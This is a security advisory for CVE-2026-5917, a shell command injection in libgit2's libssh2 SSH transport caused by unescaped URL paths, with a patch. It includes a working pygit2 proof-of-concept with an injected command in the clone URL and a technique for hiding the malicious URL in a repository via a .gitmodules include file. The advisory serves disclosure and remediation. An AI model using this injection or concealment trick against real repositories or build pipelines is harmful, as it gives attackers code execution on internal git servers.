GHSA-xqj4-2j5v-rr75 on CTRL-OS 26.05
Aliases: GHSA-xqj4-2j5v-rr75, CVE-2026-5917, GHSA-qqwh-747c-fpx2
Packages: libgit2
Status: Plausible
Advisory Information
Summary
gen_proto()insrc/libgit2/transports/ssh_libssh2.cbuilds the remote git command by pasting the URL path between two single quotes without escaping it. A quote inside the path closes the quoting early and the remainder runs as shell commands on the SSH host.The same construct in the
execbackend was fixed in commit f05143b9, 2025-10-13, "ssh_exec: escape remote paths properly". That commit changed onlyssh_exec.c.ssh_libssh2.cstill concatenates the path raw, and it is the backendUSE_SSH=ONselects.Reproduced on a v1.9.6 build configured with
USE_SSH=ON, and on the libgit2 1.9.4 shipped in the pygit2 wheel. The same code is present on main, confirmed by reading the source.Both currently maintained branches are affected. v1.9.6 and v1.8.6, released the same day, each carry the escaped
ssh_exec.cand the unescapedssh_libssh2.c, so a fix needs backporting to 1.8.x as well.The bug
ssh_libssh2.c:79-82git_str_puts(request, cmd); git_str_puts(request, " '"); git_str_puts(request, repo); /* repo = url->path, unescaped */ git_str_puts(request, "'");The result goes to
libssh2_channel_exec()at line 99, and sshd runs it through the account's login shell.path /repo.git -> git-upload-pack '/repo.git' path /repo.git'; id; ' -> git-upload-pack '/repo.git'; id; ''The only check on this path is at
ssh_libssh2.c:805-807, whose comment states the intent:/* Safety check: like git, we forbid paths that look like an option as * that could lead to injection on the remote side */ if (git_process__is_cmdline_option(s->url.path)) {
git_process__is_cmdline_optionisreturn (str && str[0] == '-');atsrc/util/process.h:116. It tests the first character only, so quotes are not checked.
ssh_exec.c:198handles the same value:git_str_puts_escaped(&remote_cmd, url->path, "'!", "'\\", "'")Reproduce
A bare repo on any SSH host you can log into with a key:
git init --bare /srv/repo.gitThen:
import os, pygit2 # any key that already authenticates to HOST; paths must be absolute, ~ is not expanded PUB = os.path.expanduser("~/.ssh/id_ed25519.pub") PRIV = os.path.expanduser("~/.ssh/id_ed25519") class CB(pygit2.RemoteCallbacks): def certificate_check(self, cert, valid, host): return True def credentials(self, url, username, allowed): return pygit2.Keypair("USER", PUB, PRIV, "") pygit2.clone_repository("ssh://USER@HOST/srv/repo.git", "/tmp/a", callbacks=CB()) pygit2.clone_repository("ssh://USER@HOST/srv/repo.git'; touch /tmp/PWNED; '", "/tmp/b", callbacks=CB())Both clones return without error.
/tmp/PWNEDexists on the host only after the second one. The two URLs differ by the appended'; touch /tmp/PWNED; 'and nothing else. It runs as the target account; root is not required.If authentication fails before you get that far, check the server log for
signature algorithm ssh-rsa not in PubkeyAcceptedAlgorithms. Some libssh2 builds still offer SHA-1ssh-rsa, which OpenSSH 9 rejects by default. An ed25519 key avoids it. That is a key-algorithm issue in the harness, unrelated to this report.Delivery
The URL does not have to be handed over directly. It can be carried in a repository the victim clones.
At the repo root,
.gitmodules, the file a reviewer opens:[submodule "vendor"] path = vendor url = https://github.com/example/json-lib.git [include] path = .ci-cacheand
.ci-cachebeside it, name arbitrary:[submodule "vendor"] url = "ssh://git@INTERNAL-HOST/repo.git'; touch /tmp/FROM_REPO; '"plus a gitlink for
vendorin the index, mode160000. Without it nothing is fetched and the files are inert.
.gitmodulesis parsed by the generic config backend, which handlesinclude.pathatconfig_file.c:826, so.ci-cachesetssubmodule.vendor.urla second time and the later value wins:reviewer reads : https://github.com/example/json-lib.git libgit2 uses : ssh://git@INTERNAL-HOST/repo.git'; touch /tmp/FROM_REPO; 'Cloning does not fetch submodules and does not reach this code. The submodule update does. Measured separately against the same repo:
clone -> no connection, no marker update -> connection made, marker presentIt fires during connection setup, so it runs even when the update then fails.
libgit2 does not drive submodule updates itself, so this route needs the calling application to perform one. Build tooling does so routinely, since the submodule's sources are required to compile.
Core git reads
.gitmoduleswith includes disabled:config_from_gitmodules()insubmodule-config.cpassesconst struct config_options opts = { 0 }, leavingrespect_includesat 0. libgit2 has no equivalent, which may be worth addressing separately.Attack vectors
Any path where an attacker-controlled URL reaches a call that opens the transport:
git_clone, orgit_remote_connect/git_remote_fetch/git_remote_push/git_remote_lson a remote holding that URL.
- A URL submitted by a user. Import, mirror, and scanning features that accept a repository URL and clone it server-side. No repository or submodule is involved, the attacker fills in a field.
- A submodule in a repository the victim builds. Covered above. The URL is hidden from review.
- A dependency manifest. Build tooling that resolves git dependencies from a file in the repository.
- A remote or mirror list the attacker can contribute to.
In each case the attacker supplies text only.
Impact
Command execution on the SSH host named in the URL, as the account the victim's key authenticates to. The attacker supplies no credential; the victim's key performs the authentication.
The realistic target is an internal git server or another reachable host where the git account has a normal shell. The attacker gets code execution on a machine they have no access to: read or write the repositories that account owns, or append to its
authorized_keys.Preconditions
Build uses the libssh2 provider USE_SSH=ONandUSE_SSH=libssh2both select it, percmake/SelectSSH.cmake. Only an explicitexecavoids it. The upstream default is no SSH transport at all.Target account has a login shell With a forced command in authorized_keysthe string is only exposed in$SSH_ORIGINAL_COMMANDand never evaluated. Tested both ways: the same payload ran on a shell account and did not run on a forced-command account.Victim authenticates to the host Host key already known, or the application's certificate_checkaccepts it.Fix
git_str_puts(request, cmd); git_str_puts(request, " '"); - git_str_puts(request, repo); + git_str_puts_escaped(request, repo, "'!", "'\\", "'"); git_str_puts(request, "'");The same arguments
ssh_exec.c:198uses. Persrc/util/str.h:275each character in'!is wrapped with the prefix'\and the suffix', so a quote becomes'\''. The existinggit_str_oom(request)check below covers allocation failure.
Updates
2026-08-21 15:50 CEST
Metadata changes:
- Status for package
libgit2: “Plausible”
2026-08-21 15:45 CEST
Metadata changes:
- Status for package
libgit2: “New”